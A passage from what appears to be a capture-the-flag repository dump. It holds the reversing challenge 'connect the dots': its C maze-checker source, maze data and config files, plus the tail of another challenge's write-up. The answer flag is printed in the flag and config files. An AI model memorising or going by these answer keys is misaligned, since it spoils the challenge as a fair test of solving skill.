of moves you made. Hopefully it's a satisfying result :)\n\n# Playthrough Video\n\nHere is a recording of me manually playing the game and reaching a score of 1337. The solve script which simulates the game records the input keys and prints it at the end, so to get the flag on the remote server, you can copy and paste this string to instantly simulate the moves.\n\n![playthrough.gif](./playthrough.gif)\n\nIf bullet hell games aren't your thing, check out this [amazing alternative solution](https://gist.github.com/uint0/f357856d4f386dd5233daa7408b0f01a) by a reviewer which implements an agent to win the game dynamically.\n"
  },
  {
    "path": "rev/connect-the-dots/README.md",
    "content": "# connect the dots\n\n**Category:** reversing\n\n**Difficulty:** medium\n\n**Author:** joseph#8210\n\nCan you see the forest for the trees?\n\n**Attached files:**\n- ./challenge/connect_the_dots (sha256: 92768c1d3bdae369559960ad1507f7d540660d3335b1868f2485ae054e13fcd5)\n"
  },
  {
    "path": "rev/connect-the-dots/challenge/connect_the_dots.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include \"maze_data.h\"\n\nvoid die() {\n\tputs(\"no :<\");\n\texit(-1);\n}\n\nint find(int* arr, int n, int x) {\n\tfor(int i = 0; i < n; i++) {\n\t\tif(*(arr+i) == x) {\n\t\t\treturn i;\n\t\t}\n\t}\n\treturn -1;\n}\n\nint run(char* moves) {\n\tchar c;\n\tint has_wall, is_dot;\n\tint win_bits = 0;\n\tint cur_pos = 0;\n\tint dots_eaten[8] = { -1, -1, -1, -1, -1, -1, -1, -1 };\n\tint num_dots_eaten = 0;\n\n\twhile(*moves) {\n\t\tswitch(*moves++) {\n\t\t\tcase 'h':\n\t\t\t\thas_wall = MAZE_DATA[cur_pos] & 1;\n\t\t\t\tif(has_wall) die();\n\n\t\t\t\tcur_pos -= 1;\n\n\t\t\t\tbreak;\n\t\t\tcase 'l':\n\t\t\t\thas_wall = MAZE_DATA[cur_pos] & 4;\n\t\t\t\tif(has_wall) die();\n\n\t\t\t\tcur_pos += 1;\n\n\t\t\t\tbreak;\n\t\t\tcase 'j':\n\t\t\t\thas_wall = MAZE_DATA[cur_pos] & 2;\n\t\t\t\tif(has_wall) die();\n\n\t\t\t\tcur_pos += MAZE_WIDTH;\n\n\t\t\t\tbreak;\n\t\t\tcase 'k':\n\t\t\t\thas_wall = MAZE_DATA[cur_pos] & 8;\n\t\t\t\tif(has_wall) die();\n\n\t\t\t\tcur_pos -= MAZE_WIDTH;\n\n\t\t\t\tbreak;\n\t\t\tcase 'x':\n\t\t\t\tis_dot = MAZE_DATA[cur_pos] & 128;\n\t\t\t\tif(!is_dot) die();\n\t\t\t\t\n\t\t\t\tint dot_idx = (MAZE_DATA[cur_pos] >> 4) & 7;\n\t\t\t\tint exists = find(dots_eaten, 8, dot_idx);\n\t\t\t\tif(exists >= 0) die();\n\n\t\t\t\tdots_eaten[num_dots_eaten++] = dot_idx;\n\t\t\t\twin_bits &= DOTS_DATA[dot_idx] >> 8;\n\t\t\t\twin_bits ^= DOTS_DATA[dot_idx] & 0xff;\n\n\t\t\t\tif(num_dots_eaten == 8) {\n\t\t\t\t\tif(win_bits == 0xff) {\n\t\t\t\t\t\treturn 1;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tdie();\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tdie();\n\t\t}\n\t}\n\n\tdie();\n\treturn 0;\n}\n\nchar CT[44] = {184, 64, 13, 26, 252, 53, 44, 60, 181, 51, 222, 15, 102, 86, 225, 60, 179, 244, 161, 3, 99, 198, 139, 217, 105, 244, 215, 157, 161, 163, 216, 244, 48, 247, 150, 164, 240, 237, 200, 234, 153, 108, 162, 113};\n\nint main() {\n\tchar moves[3568];\n\tint n = read(0, moves, 3567);\n\tmoves[n-1] = '\\0';\n\n\trun(moves);\n\n\tputs(\"yes :>\");\n\n\tfor(int i = 0; i < 44; i++) {\n\t\tint k = 1;\n\t\tfor(int j = 0; j < 81; j++) {\n\t\t\tk *= moves[i*81 + j];\n\t\t\tk %= 0xff;\n\t\t}\n\t\tprintf(\"%c\", k ^ CT[i]);\n\t}\n\n\tputs(\"\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "rev/connect-the-dots/challenge/flag.txt",
    "content": "DUCTF{bfs_dfs_ffs_no_more_mazes_a8fb66c12cd}\n"
  },
  {
    "path": "rev/connect-the-dots/challenge/maze_data.h",
    "content": "#define MAZE_WIDTH 60\n#define MAZE_HEIGHT 60\n\nint DOTS_DATA[8] = {65407, 60999, 31620, 5074, 27425, 53858, 20942, 3721};\nint MAZE_DATA[MAZE_WIDTH*MAZE_HEIGHT] = {11, 10, 12, 9, 10, 10, 8, 8, 10, 14, 9, 8, 10, 10, 12, 11, 8, 10, 12, 9, 10, 12, 9, 10, 10, 10, 12, 11, 10, 10, 10, 8, 12, 9, 8, 14, 9, 10, 12, 9, 8, 12, 11, 10, 10, 10, 8, 12, 11, 8, 10, 10, 8, 14, 9, 12, 9, 8, 12, 13, 13, 9, 6, 5, 9, 12, 5, 7, 9, 12, 5, 5, 9, 12, 3, 10, 6, 9, 6, 5, 9, 6, 3, 12, 9, 14, 3, 10, 10, 10, 12, 7, 1, 6, 3, 12, 3, 12, 5, 5, 5, 3, 10, 10, 10, 10, 6, 3, 12, 5, 9, 12, 7, 9, 6, 5, 5, 5, 3, 4, 5, 5, 11, 2, 6, 5, 3, 10, 6, 5, 5, 3, 6, 3, 10, 10, 12, 5, 9, 6, 3, 12, 9, 6, 1, 10, 10, 10, 8, 14, 3, 12, 3, 12, 13, 5, 9, 6, 3, 6, 5, 9, 10, 10, 10, 10, 12, 9, 6, 5, 5, 3, 10, 2, 12, 3, 6, 5, 9, 6, 5, 3, 12, 11, 12, 1, 14, 9, 12, 3, 6, 9, 12, 9, 10, 12, 5, 3, 6, 13, 9, 6, 5, 11, 2, 10, 12, 13, 3, 10, 10, 6, 11, 2, 6, 5, 3, 10, 12, 9, 6, 5, 11, 12, 9, 10, 6, 5, 11, 0, 2, 14, 9, 12, 3, 10, 14, 5, 5, 13, 1, 12, 3, 12, 3, 6, 9, 6, 3, 10, 12, 5, 3, 6, 13, 3, 6, 9, 10, 6, 5, 11, 2, 10, 12, 13, 3, 2, 10, 10, 12, 9, 10, 10, 12, 3, 8, 10, 6, 3, 12, 3, 8, 6, 3, 10, 12, 3, 12, 5, 9, 10, 6, 3, 10, 10, 10, 6, 5, 5, 5, 3, 12, 3, 10, 12, 3, 12, 9, 10, 6, 1, 12, 11, 2, 8, 12, 1, 10, 12, 3, 12, 9, 10, 6, 5, 9, 8, 8, 14, 5, 1, 10, 12, 3, 12, 3, 10, 12, 13, 5, 9, 6, 9, 10, 12, 1, 12, 5, 7, 5, 9, 14, 9, 8, 14, 9, 10, 6, 5, 1, 12, 3, 10, 12, 5, 9, 6, 3, 12, 11, 6, 5, 9, 12, 7, 1, 6, 9, 6, 9, 6, 5, 9, 14, 1, 6, 5, 5, 9, 6, 3, 12, 3, 12, 5, 11, 10, 2, 4, 5, 3, 12, 5, 11, 2, 6, 7, 5, 9, 6, 1, 10, 6, 5, 9, 2, 10, 10, 6, 5, 5, 9, 12, 7, 5, 3, 10, 12, 3, 10, 10, 6, 5, 3, 12, 5, 13, 5, 9, 6, 9, 6, 3, 8, 6, 9, 6, 7, 3, 10, 12, 3, 12, 5, 3, 12, 9, 12, 5, 3, 12, 5, 3, 10, 10, 10, 10, 6, 3, 12, 5, 9, 12, 3, 6, 9, 10, 10, 12, 5, 5, 5, 3, 10, 6, 9, 10, 6, 9, 10, 10, 10, 6, 9, 6, 5, 5, 5, 3, 12, 3, 10, 12, 3, 12, 3, 10, 12, 9, 10, 6, 9, 6, 5, 9, 2, 6, 5, 3, 12, 5, 5, 9, 10, 12, 9, 10, 10, 8, 6, 3, 6, 5, 9, 10, 6, 9, 12, 5, 5, 5, 5, 9, 10, 12, 5, 9, 10, 4, 9, 10, 12, 13, 3, 12, 3, 6, 1, 12, 3, 10, 10, 6, 13, 5, 11, 12, 5, 3, 10, 12, 7, 9, 4, 7, 9, 12, 3, 12, 7, 5, 5, 3, 14, 1, 6, 9, 10, 6, 9, 12, 13, 5, 3, 12, 11, 6, 5, 5, 5, 5, 3, 6, 13, 3, 6, 5, 13, 3, 6, 13, 5, 3, 10, 2, 10, 10, 6, 3, 10, 10, 12, 11, 4, 5, 9, 4, 1, 10, 14, 3, 12, 5, 7, 9, 6, 5, 13, 3, 10, 6, 3, 10, 12, 3, 14, 3, 10, 12, 5, 5, 3, 4, 9, 2, 10, 8, 6, 5, 7, 5, 9, 10, 2, 10, 12, 3, 4, 11, 8, 4, 3, 10, 10, 140, 11, 10, 10, 12, 9, 12, 1, 10, 6, 5, 5, 5, 3, 10, 12, 9, 6, 3, 10, 2, 14, 5, 1, 10, 10, 8, 10, 14, 3, 10, 10, 10, 12, 3, 4, 3, 12, 5, 5, 9, 12, 7, 9, 4, 9, 6, 5, 13, 9, 10, 4, 13, 5, 9, 6, 5, 11, 10, 12, 3, 10, 10, 12, 3, 4, 5, 5, 9, 10, 6, 5, 5, 9, 10, 4, 3, 12, 9, 10, 12, 9, 6, 5, 13, 9, 4, 9, 10, 10, 10, 8, 12, 3, 12, 3, 14, 5, 5, 5, 5, 3, 10, 6, 5, 5, 9, 6, 5, 3, 12, 3, 6, 3, 6, 13, 3, 10, 12, 1, 8, 10, 12, 3, 12, 7, 3, 6, 5, 11, 8, 6, 5, 5, 11, 4, 13, 3, 6, 13, 3, 6, 13, 3, 4, 5, 5, 3, 8, 10, 14, 5, 3, 14, 5, 9, 10, 6, 7, 5, 5, 11, 12, 9, 6, 1, 6, 11, 0, 12, 3, 10, 8, 12, 13, 1, 10, 12, 5, 5, 5, 11, 6, 9, 6, 9, 10, 10, 6, 9, 6, 13, 5, 3, 12, 3, 2, 10, 10, 2, 10, 12, 3, 10, 6, 5, 7, 9, 6, 9, 12, 5, 9, 10, 6, 1, 12, 9, 10, 6, 3, 12, 3, 4, 13, 3, 10, 12, 5, 3, 14, 9, 6, 3, 4, 5, 13, 3, 6, 5, 5, 9, 8, 6, 9, 6, 9, 10, 10, 6, 9, 6, 5, 9, 6, 9, 10, 10, 8, 10, 14, 3, 10, 10, 10, 4, 9, 6, 13, 5, 1, 6, 5, 9, 10, 6, 5, 5, 11, 8, 12, 3, 12, 3, 6, 13, 9, 6, 3, 10, 12, 5, 9, 14, 5, 5, 3, 10, 10, 6, 5, 5, 7, 9, 6, 9, 4, 9, 14, 9, 2, 10, 6, 5, 11, 2, 12, 11, 6, 9, 10, 10, 10, 10, 10, 6, 3, 12, 5, 5, 5, 9, 6, 3, 12, 9, 6, 5, 9, 6, 3, 12, 5, 9, 12, 5, 5, 11, 8, 12, 5, 5, 1, 10, 6, 3, 10, 10, 10, 12, 5, 3, 10, 6, 13, 5, 5, 3, 12, 5, 9, 10, 12, 3, 10, 12, 5, 9, 12, 5, 11, 10, 8, 12, 11, 8, 14, 5, 5, 5, 7, 5, 9, 10, 6, 3, 10, 2, 6, 9, 14, 5, 3, 6, 5, 1, 2, 10, 6, 5, 5, 5, 3, 10, 12, 9, 14, 9, 10, 6, 1, 10, 12, 9, 2, 6, 5, 9, 6, 3, 6, 9, 6, 13, 9, 6, 5, 5, 3, 2, 10, 8, 6, 3, 10, 4, 9, 6, 5, 3, 12, 5, 3, 12, 9, 10, 12, 9, 12, 3, 12, 5, 9, 14, 5, 5, 13, 9, 12, 5, 5, 5, 9, 12, 5, 3, 12, 3, 10, 10, 6, 13, 5, 3, 12, 9, 6, 3, 10, 10, 12, 5, 9, 6, 5, 9, 2, 6, 9, 10, 12, 7, 9, 12, 9, 6, 3, 10, 2, 12, 3, 6, 11, 4, 3, 14, 5, 5, 3, 12, 3, 2, 6, 9, 4, 3, 4, 5, 5, 3, 6, 3, 6, 5, 3, 10, 4, 9, 10, 8, 14, 1, 6, 13, 5, 3, 10, 12, 9, 12, 5, 3, 4, 9, 6, 3, 10, 12, 3, 12, 147, 10, 6, 5, 7, 9, 10, 8, 12, 3, 10, 10, 12, 3, 8, 10, 6, 5, 13, 5, 9, 10, 10, 6, 5, 9, 6, 5, 3, 8, 10, 10, 12, 5, 11, 12, 5, 3, 14, 5, 9, 6, 9, 4, 3, 12, 13, 3, 6, 5, 5, 9, 6, 3, 12, 9, 12, 5, 13, 5, 9, 10, 14, 5, 9, 6, 9, 6, 5, 9, 12, 13, 5, 11, 4, 9, 10, 4, 3, 2, 6, 9, 12, 9, 6, 3, 12, 3, 12, 7, 9, 12, 3, 6, 9, 6, 3, 10, 8, 6, 3, 12, 5, 3, 12, 5, 1, 12, 9, 6, 5, 3, 10, 12, 3, 6, 5, 3, 6, 5, 1, 10, 12, 3, 6, 13, 3, 12, 5, 5, 3, 6, 3, 12, 7, 3, 12, 7, 9, 10, 12, 7, 1, 6, 13, 13, 5, 13, 3, 10, 6, 5, 13, 9, 2, 8, 14, 9, 6, 9, 10, 6, 3, 12, 5, 3, 4, 7, 5, 9, 2, 10, 10, 4, 9, 8, 6, 9, 10, 6, 3, 12, 3, 12, 9, 2, 12, 5, 3, 6, 9, 10, 12, 5, 9, 10, 6, 9, 2, 14, 1, 12, 3, 10, 4, 5, 3, 2, 12, 9, 12, 5, 5, 1, 14, 3, 10, 2, 12, 3, 12, 11, 10, 164, 1, 12, 5, 9, 6, 5, 9, 10, 12, 7, 5, 7, 9, 6, 9, 10, 10, 6, 13, 3, 2, 14, 5, 5, 9, 12, 5, 13, 3, 6, 5, 9, 10, 6, 9, 12, 7, 5, 11, 12, 5, 1, 8, 14, 3, 6, 5, 5, 3, 6, 9, 12, 9, 12, 5, 13, 3, 10, 12, 7, 5, 7, 5, 3, 12, 7, 3, 12, 3, 12, 3, 12, 3, 12, 1, 10, 10, 10, 2, 10, 14, 9, 6, 3, 6, 3, 6, 1, 8, 10, 6, 3, 12, 9, 6, 3, 10, 6, 9, 6, 5, 7, 5, 9, 10, 12, 5, 3, 10, 10, 6, 3, 6, 5, 3, 4, 11, 12, 3, 12, 5, 9, 6, 13, 3, 8, 14, 1, 14, 3, 12, 3, 12, 5, 7, 9, 10, 10, 12, 9, 12, 5, 9, 10, 8, 12, 13, 5, 3, 12, 9, 10, 6, 5, 9, 10, 10, 8, 4, 9, 6, 9, 6, 3, 12, 3, 6, 9, 12, 9, 10, 10, 10, 6, 13, 3, 10, 4, 9, 6, 3, 2, 12, 1, 12, 3, 10, 6, 9, 10, 2, 12, 5, 3, 12, 5, 9, 14, 3, 6, 5, 3, 2, 14, 5, 5, 1, 6, 13, 3, 2, 10, 14, 5, 3, 14, 9, 6, 5, 5, 13, 1, 10, 12, 5, 11, 10, 4, 5, 3, 10, 12, 11, 8, 2, 10, 10, 6, 3, 10, 12, 13, 5, 5, 5, 11, 8, 14, 5, 13, 9, 6, 1, 12, 3, 6, 5, 9, 10, 12, 5, 9, 10, 10, 6, 5, 3, 10, 2, 12, 9, 10, 10, 6, 9, 188, 5, 11, 4, 5, 5, 1, 14, 3, 4, 9, 10, 6, 5, 9, 14, 3, 12, 3, 10, 10, 12, 11, 12, 9, 6, 3, 2, 6, 3, 12, 5, 9, 6, 5, 3, 12, 5, 5, 11, 10, 2, 2, 14, 5, 5, 5, 9, 12, 13, 3, 12, 11, 10, 6, 5, 9, 10, 10, 4, 5, 3, 12, 5, 3, 4, 7, 9, 12, 3, 6, 11, 12, 5, 5, 9, 12, 5, 13, 9, 10, 6, 9, 6, 3, 12, 9, 10, 10, 12, 5, 5, 3, 12, 1, 10, 6, 5, 3, 10, 10, 10, 10, 12, 5, 3, 6, 5, 3, 2, 12, 5, 9, 10, 10, 6, 1, 10, 14, 5, 3, 10, 4, 3, 14, 5, 9, 6, 3, 12, 9, 8, 6, 3, 4, 5, 5, 5, 5, 5, 11, 8, 2, 8, 14, 3, 6, 11, 12, 5, 3, 0, 14, 5, 3, 10, 12, 5, 9, 10, 10, 12, 11, 2, 2, 8, 10, 6, 9, 12, 7, 5, 1, 12, 11, 10, 6, 9, 12, 5, 9, 12, 5, 9, 10, 6, 5, 11, 10, 4, 7, 3, 10, 10, 6, 5, 3, 6, 5, 3, 12, 5, 13, 3, 8, 10, 8, 10, 6, 3, 12, 7, 9, 6, 9, 10, 6, 3, 6, 9, 10, 4, 9, 10, 12, 7, 9, 10, 6, 3, 10, 6, 7, 1, 10, 10, 12, 5, 5, 5, 5, 3, 6, 3, 12, 13, 5, 9, 12, 5, 9, 10, 10, 10, 10, 6, 11, 12, 1, 10, 6, 5, 1, 14, 3, 12, 7, 9, 8, 14, 5, 9, 6, 11, 2, 10, 10, 12, 13, 5, 11, 4, 5, 13, 3, 10, 6, 11, 10, 10, 8, 10, 12, 3, 14, 9, 6, 5, 5, 5, 3, 10, 8, 14, 5, 5, 5, 5, 5, 3, 6, 9, 12, 11, 10, 8, 10, 6, 3, 12, 13, 5, 3, 8, 14, 3, 12, 5, 3, 12, 5, 3, 10, 10, 12, 9, 12, 3, 4, 3, 12, 5, 3, 2, 12, 11, 8, 10, 12, 9, 6, 9, 6, 9, 10, 6, 9, 6, 3, 6, 9, 12, 7, 9, 6, 5, 5, 5, 3, 10, 10, 6, 3, 10, 12, 1, 12, 201, 10, 6, 3, 2, 10, 6, 9, 10, 4, 5, 13, 3, 6, 9, 10, 12, 5, 5, 5, 9, 6, 9, 6, 3, 12, 13, 3, 10, 6, 13, 3, 6, 9, 6, 11, 2, 12, 9, 4, 9, 10, 10, 6, 3, 10, 6, 9, 6, 5, 3, 10, 12, 9, 10, 10, 12, 5, 7, 3, 2, 10, 12, 9, 10, 10, 12, 3, 12, 5, 3, 4, 11, 10, 4, 9, 2, 6, 5, 3, 6, 13, 5, 11, 10, 2, 2, 10, 10, 8, 6, 9, 10, 6, 11, 8, 12, 5, 5, 7, 5, 9, 10, 10, 14, 9, 10, 2, 12, 3, 8, 12, 3, 6, 11, 12, 5, 3, 10, 12, 9, 12, 3, 4, 9, 12, 3, 10, 6, 5, 13, 3, 12, 9, 4, 7, 9, 12, 5, 9, 10, 6, 3, 8, 12, 9, 10, 12, 9, 6, 9, 6, 11, 8, 10, 6, 3, 6, 3, 12, 5, 3, 8, 10, 12, 3, 12, 9, 4, 9, 6, 3, 14, 9, 8, 6, 1, 10, 14, 1, 6, 5, 11, 6, 5, 5, 9, 12, 9, 6, 1, 12, 3, 6, 5, 9, 6, 5, 3, 6, 9, 10, 12, 7, 5, 3, 12, 3, 6, 13, 5, 11, 8, 6, 11, 10, 10, 8, 10, 4, 3, 12, 3, 14, 3, 10, 6, 5, 5, 5, 9, 12, 9, 6, 3, 10, 6, 9, 12, 3, 14, 1, 12, 9, 6, 5, 7, 3, 2, 10, 6, 5, 13, 9, 6, 5, 11, 2, 10, 10, 4, 11, 2, 218, 6, 13, 5, 9, 10, 4, 3, 10, 6, 9, 10, 10, 10, 6, 9, 6, 13, 3, 10, 10, 10, 10, 10, 6, 5, 1, 6, 5, 3, 12, 13, 9, 10, 6, 3, 10, 12, 7, 3, 2, 14, 1, 10, 10, 10, 10, 12, 3, 4, 5, 13, 3, 10, 10, 10, 12, 7, 9, 10, 10, 12, 3, 2, 6, 13, 3, 12, 9, 12, 5, 9, 8, 10, 12, 5, 9, 2, 10, 8, 8, 10, 10, 10, 14, 5, 3, 14, 1, 12, 5, 5, 5, 9, 12, 9, 14, 5, 9, 10, 10, 12, 7, 9, 12, 9, 12, 3, 12, 7, 3, 4, 9, 10, 14, 9, 6, 9, 6, 9, 14, 3, 12, 9, 8, 0, 14, 5, 5, 3, 6, 5, 3, 12, 5, 5, 7, 9, 12, 7, 5, 9, 10, 12, 9, 6, 9, 8, 6, 7, 3, 4, 3, 6, 5, 1, 12, 1, 6, 11, 8, 2, 10, 6, 3, 6, 3, 12, 3, 12, 9, 6, 3, 12, 9, 6, 9, 6, 11, 2, 8, 12, 5, 7, 5, 7, 9, 6, 1, 10, 12, 3, 12, 5, 7, 3, 10, 6, 3, 12, 1, 6, 9, 6, 5, 13, 5, 7, 9, 12, 9, 2, 14, 9, 6, 5, 3, 6, 9, 12, 5, 9, 10, 12, 9, 10, 14, 5, 9, 6, 3, 10, 10, 4, 5, 9, 6, 9, 10, 10, 6, 5, 3, 12, 3, 10, 2, 12, 3, 14, 3, 12, 7, 5, 9, 10, 12, 9, 12, 5, 7, 9, 6, 9, 6, 5, 3, 10, 6, 3, 2, 14, 9, 6, 13, 5, 13, 9, 6, 5, 7, 5, 13, 5, 5, 9, 10, 6, 1, 10, 10, 8, 14, 5, 5, 3, 12, 5, 9, 10, 14, 5, 13, 3, 10, 12, 11, 2, 12, 9, 10, 6, 9, 6, 5, 13, 3, 6, 5, 3, 10, 4, 9, 6, 9, 4, 9, 10, 10, 10, 10, 12, 1, 12, 3, 2, 6, 1, 14, 5, 9, 2, 6, 5, 5, 3, 12, 11, 0, 10, 14, 5, 9, 6, 3, 12, 3, 6, 3, 12, 9, 6, 3, 8, 12, 5, 9, 12, 5, 5, 9, 10, 2, 10, 6, 3, 8, 14, 3, 10, 12, 5, 5, 11, 4, 5, 5, 11, 8, 10, 10, 6, 5, 3, 10, 10, 10, 6, 9, 4, 1, 14, 9, 6, 1, 14, 3, 12, 7, 9, 10, 4, 5, 9, 14, 3, 10, 8, 10, 6, 3, 12, 9, 6, 5, 3, 6, 5, 1, 6, 3, 10, 10, 12, 9, 10, 6, 9, 8, 14, 3, 6, 3, 12, 5, 5, 1, 12, 3, 10, 12, 11, 2, 10, 10, 14, 9, 8, 6, 7, 5, 9, 6, 11, 2, 10, 10, 2, 10, 6, 11, 6, 5, 5, 9, 10, 12, 3, 10, 10, 12, 3, 6, 9, 6, 13, 9, 6, 7, 9, 12, 9, 12, 5, 3, 10, 10, 4, 3, 10, 12, 9, 10, 6, 5, 7, 7, 5, 9, 12, 5, 9, 10, 12, 9, 10, 6, 5, 9, 10, 6, 3, 10, 10, 12, 9, 10, 12, 9, 12, 9, 12, 5, 5, 5, 13, 3, 12, 9, 12, 5, 9, 12, 3, 10, 4, 3, 10, 10, 6, 5, 5, 5, 3, 10, 10, 12, 7, 9, 10, 6, 3, 10, 236, 3, 12, 9, 6, 5, 7, 5, 5, 13, 3, 6, 9, 14, 5, 3, 12, 9, 10, 10, 12, 3, 6, 9, 6, 5, 3, 6, 3, 6, 1, 2, 6, 9, 6, 5, 5, 3, 6, 1, 10, 14, 5, 9, 10, 12, 9, 6, 7, 3, 8, 10, 12, 3, 8, 6, 9, 10, 10, 12, 3, 12, 5, 1, 12, 3, 8, 6, 5, 1, 10, 14, 1, 10, 2, 14, 5, 5, 9, 12, 3, 10, 12, 3, 10, 6, 11, 10, 8, 12, 7, 9, 12, 5, 9, 6, 3, 12, 9, 6, 9, 12, 3, 6, 13, 5, 3, 12, 9, 12, 5, 9, 4, 9, 6, 9, 6, 9, 12, 1, 14, 5, 5, 5, 3, 12, 3, 12, 5, 3, 8, 10, 6, 9, 10, 10, 6, 3, 6, 3, 12, 13, 5, 9, 10, 10, 8, 10, 6, 3, 10, 6, 5, 5, 3, 12, 11, 2, 6, 9, 6, 3, 10, 10, 4, 3, 12, 5, 5, 5, 7, 5, 7, 5, 9, 2, 14, 5, 5, 3, 12, 5, 5, 1, 14, 5, 13, 5, 3, 12, 5, 9, 10, 6, 11, 10, 8, 10, 12, 11, 2, 6, 5, 5, 9, 10, 6, 11, 10, 8, 14, 9, 6, 1, 12, 3, 10, 12, 9, 6, 9, 8, 10, 12, 3, 12, 5, 3, 6, 3, 12, 5, 9, 6, 5, 13, 9, 6, 3, 10, 6, 3, 4, 5, 9, 6, 3, 0, 10, 6, 7, 5, 9, 10, 10, 10, 6, 13, 3, 12, 9, 12, 3, 6, 5, 9, 8, 10, 12, 3, 12, 3, 12, 5, 3, 10, 14, 3, 6, 9, 6, 5, 13, 3, 12, 5, 3, 12, 9, 12, 5, 3, 6, 9, 6, 5, 3, 10, 10, 10, 10, 10, 6, 5, 3, 10, 12, 7, 9, 10, 10, 6, 3, 12, 9, 8, 12, 3, 12, 5, 5, 3, 12, 9, 6, 5, 5, 11, 2, 10, 4, 13, 5, 5, 9, 10, 10, 10, 10, 6, 9, 6, 5, 9, 6, 1, 12, 5, 7, 5, 3, 10, 10, 6, 9, 4, 9, 8, 14, 9, 8, 12, 13, 3, 12, 9, 6, 9, 6, 13, 9, 8, 10, 6, 7, 5, 3, 10, 4, 5, 3, 12, 5, 5, 11, 4, 3, 12, 9, 10, 2, 6, 5, 5, 3, 8, 14, 9, 10, 10, 6, 9, 2, 6, 9, 6, 5, 3, 12, 1, 8, 10, 10, 10, 6, 5, 5, 3, 10, 6, 5, 5, 5, 9, 6, 3, 12, 5, 9, 6, 5, 5, 9, 10, 12, 5, 9, 12, 7, 3, 10, 6, 5, 1, 12, 5, 9, 6, 7, 9, 12, 9, 6, 1, 10, 6, 9, 6, 9, 12, 13, 5, 11, 12, 5, 13, 3, 12, 5, 7, 1, 12, 9, 12, 9, 6, 3, 14, 9, 12, 5, 3, 4, 3, 12, 9, 4, 5, 3, 10, 6, 3, 2, 14, 5, 5, 5, 3, 8, 12, 13, 9, 6, 7, 5, 5, 3, 10, 12, 5, 3, 6, 11, 2, 10, 14, 5, 11, 4, 5, 5, 5, 9, 4, 5, 3, 10, 6, 3, 12, 7, 3, 4, 5, 3, 10, 12, 9, 6, 5, 5, 9, 6, 9, 6, 5, 7, 3, 12, 9, 10, 10, 12, 9, 6, 1, 6, 9, 6, 3, 6, 3, 10, 12, 5, 5, 13, 9, 6, 3, 10, 10, 10, 12, 9, 10, 6, 9, 6, 3, 6, 3, 6, 5, 3, 12, 9, 10, 12, 3, 10, 12, 7, 3, 12, 13, 5, 5, 9, 6, 5, 3, 12, 3, 14, 3, 10, 10, 2, 6, 11, 10, 2, 6, 11, 2, 14, 3, 10, 10, 10, 10, 10, 2, 6, 3, 6, 3, 10, 10, 10, 10, 10, 2, 6, 11, 10, 2, 10, 10, 10, 10, 10, 2, 14, 3, 2, 14, 243, 10, 10, 2, 10, 10, 6, 3, 2, 6, 3, 10, 6, 11, 6};\n"
  },
  {
    "path": "rev/connect-the-dots/challenge.yml",
    "content": "version: \"0.1\"\nid: connect-the-dots\nname: connect the dots\ncategory: reversing\ndescription: >\n  Can you see the forest for the trees?\n\n\n  Author: joseph#8210\n\nfiles:\n  - ./challenge/connect_the_dots\n\ntags:\n  - medium\n\nflags:\n  - DUCTF{bfs_dfs_ffs_no_more_mazes_a8fb66c12cd}\n"
  },
  {
    "path": "rev/connect-the-dots/solve/maze_data.py",
    "content": "MAZE_WIDTH = 60\nMAZE_HEIGHT = 60\nDOTS_DATA = [65407, 60999, 31620, 5074, 27425, 53858, 20942, 3721]\nMAZE_DATA = [11, 10, 12, 9, 10, 10, 8, 8, 10, 14, 9, 8, 10, 10, 12, 11, 8, 10, 12, 9, 10, 12, 9, 10, 10, 10, 12, 11, 10, 10, 10, 8, 12, 9, 8, 14, 9, 10, 12, 9, 8, 12, 11, 10, 10, 10, 8, 12, 11, 8, 10, 10, 8, 14, 9, 12, 9, 8, 12, 13, 13, 9, 6, 5, 9, 12, 5, 7, 9, 12, 5, 5, 9, 12, 3, 10, 6, 9, 6, 5, 9, 6, 3, 12, 9, 14, 3, 10, 10, 10, 12, 7, 1, 6, 3, 12, 3, 12, 5, 5, 5, 3, 10, 10, 10, 10, 6, 3, 12, 5, 9, 12, 7, 9, 6, 5, 5, 5, 3, 4, 5, 5, 11, 2, 6, 5, 3, 10, 6, 5, 5, 3, 6, 3, 10, 10, 12, 5, 9, 6, 3, 12, 9, 6, 1, 10, 10, 10, 8, 14, 3, 12, 3, 12, 13, 5, 9, 6, 3, 6, 5, 9, 10, 10, 10, 10, 12, 9, 6, 5, 5, 3, 10, 2, 12, 3, 6, 5, 9, 6, 5, 3, 12, 11, 12, 1, 14, 9, 12, 3, 6, 9, 12, 9, 10, 12, 5, 3, 6, 13, 9, 6, 5, 11, 2, 10, 12, 13, 3, 10, 10, 6, 11, 2, 6, 5, 3, 10, 12, 9, 6, 5, 11, 12, 9, 10, 6, 5, 11, 0, 2, 14, 9, 12, 3, 10, 14, 5, 5, 13, 1, 12, 3, 12, 3, 6, 9, 6, 3, 10, 12, 5, 3, 6, 13, 3, 6, 9, 10, 6, 5, 11, 2, 10, 12, 13, 3, 2, 10, 10, 12, 9, 10, 10, 12, 3, 8, 10, 6, 3, 12, 3, 8, 6, 3, 10, 12, 3, 12, 5, 9, 10, 6, 3, 10, 10, 10, 6, 5, 5, 5, 3, 12, 3, 10, 12, 3, 12, 9, 10, 6, 1, 12, 11, 2, 8, 12, 1, 10, 12, 3, 12, 9, 10, 6, 5, 9, 8, 8, 14, 5, 1, 10, 12, 3, 12, 3, 10, 12, 13, 5, 9, 6, 9, 10, 12, 1, 12, 5, 7, 5, 9, 14, 9, 8, 14, 9, 10, 6, 5, 1, 12, 3, 10, 12, 5, 9, 6, 3, 12, 11, 6, 5, 9, 12, 7, 1, 6, 9, 6, 9, 6, 5, 9, 14, 1, 6, 5, 5, 9, 6, 3, 12, 3, 12, 5, 11, 10, 2, 4, 5, 3, 12, 5, 11, 2, 6, 7, 5, 9, 6, 1, 10, 6, 5, 9, 2, 10, 10, 6, 5, 5, 9, 12, 7, 5, 3, 10, 12, 3, 10, 10, 6, 5, 3, 12, 5, 13, 5, 9, 6, 9, 6, 3, 8, 6, 9, 6, 7, 3, 10, 12, 3, 12, 5, 3, 12, 9, 12, 5, 3, 12, 5, 3, 10, 10, 10, 10, 6, 3, 12, 5, 9, 12, 3, 6, 9, 10, 10, 12, 5, 5, 5, 3, 10, 6, 9, 10, 6, 9, 10, 10, 10, 6, 9, 6, 5, 5, 5, 3, 12, 3, 10, 12, 3, 12, 3, 10, 12, 9, 10, 6, 9, 6, 5, 9, 2, 6, 5, 